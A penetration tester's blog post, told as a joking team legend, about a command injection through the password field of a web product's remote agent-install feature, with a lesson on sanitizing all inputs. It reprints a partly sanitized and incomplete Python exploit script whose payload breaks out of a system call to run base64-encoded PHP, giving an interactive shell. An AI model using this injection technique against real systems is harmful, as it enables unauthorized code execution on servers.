The Legendary Command Injection via Password
Originally published here: https://www.optiv.com/blog/the-legendary-command-injection-via-password
When you work with a talented team of penetration testers, after a while only the most noteworthy vulnerabilities stand out in the collective memory of the team. Chris Bellows has found more than one of those, but one exploit in particular had resurfaced in team discussions for over a year. The story of this exploit has taken on a life of its own, growing in its embellishment to near-legend status within the team. Against his better judgment, Chris allowed me to help ground this story to reality and record it once and for all. Since this story involves Chris exploiting a commercial product on behalf of a client, all of the identifiable aspects of the product have remained in their embellished sanitized state to preserve the vendor’s innocence, even though the product has long since been patched.
The product in this legend has a web interface, written in PHP. Among its many features is the ability to install an “agent” application on remote computers. This specific feature was Chris’s target, particularly a request similar to the following, which demonstrates sending credentials with administrative access to a remote computer (note the parameters “cmd=Install” and “tool=PSEXEC” which imply that the server is executing a system call with these values):
POST /php/Deploy/Step1.php HTTP/1.1
This is the point where, over the course of a year, the story expanded from myth to legendary status. The heroic protagonist in our oral tradition, Chris, reset the service account’s password using a command injection payload as the password value, which implies Chris reset the credential numerous times as the payload was tweaked to perfection (or perhaps he got the payload perfect on his first try, as some versions of the story suggest). Thus, the legend implies that the application required the credentials to be authenticated against Active Directory before initiating the vulnerable system call.
A dozen archivists with dual master’s degrees in library science and archaeology were summoned to locate and corroborate the original report with Chris’s findings. Eleven of them never returned. A search party located the twelfth archivist, however, clutching a copy of Chris’s python script (awesomeness turned down a few notches sanitized, of course):
from M2Crypto import BIO, RSA
print ‘[*] Grabbing the servers public key’
pkey = urllib2.urlopen(‘https://example.com/Auth.pub').read()
‘[!] Error grabbing the public key — check the server manually’
print ‘[*] Got the key, time for fun — Ctrl-c to exit’
#build encrypted message
msg = ‘aa” & php -d allow_url_include=1 -r \”eval(base64_decode(\’%s\’));\” &’ % base64.b64encode(raw_input(‘# ‘))
bio = BIO.MemoryBuffer(pkey)
rsa = RSA.load_pub_key_bio(bio)
payload = rsa.public_encrypt(msg,RSA.pkcs1_padding)
#encode payload for use
payload = urllib.quote(base64.b64encode(payload))
#execute on server
res = urllib2.urlopen(‘https://example.com/Install.php’,data).read()
#clean up response
hparse = HTMLParser.HTMLParser()
res = hparse.unescape(res)
res = re.findall(‘<type>error</type><name>FAILED:(.*)Process Created, ProcessID’,res,re.DOTALL)
print ‘[*] Exiting’
While complaining about Chris’s refusal to adopt the Dewey Decimal System, the twelfth archivist also recovered this mockup of the user interface depicting a password error that Chris had to bypass:
Sadly, this evidence refutes the legend’s claim that the command injection via password must first authenticate against the client’s Active Directory, reminding us of the line from the 1980s movie, the Goonies: “Okay, Michael Jackson didn’t come over to my house to use the bathroom … but his sister did!”
Perhaps there is an application in existence that has command injection via the password field and the password must satisfy Active Directory authentication prior to execution. Sadly this one did not, so the keepers of the legends hereby demoted this story to myth status. Although, it is still a very cool exploit that will likely find its way back into our team conversation.
Looking at the python script above, you can see Chris was able to invoke a shell and execute commands arbitrarily. The following is mocked up output:
Despite no longer being a legend, this great story continues to illustrate the importance of sanitizing all of your inputs, even your passwords.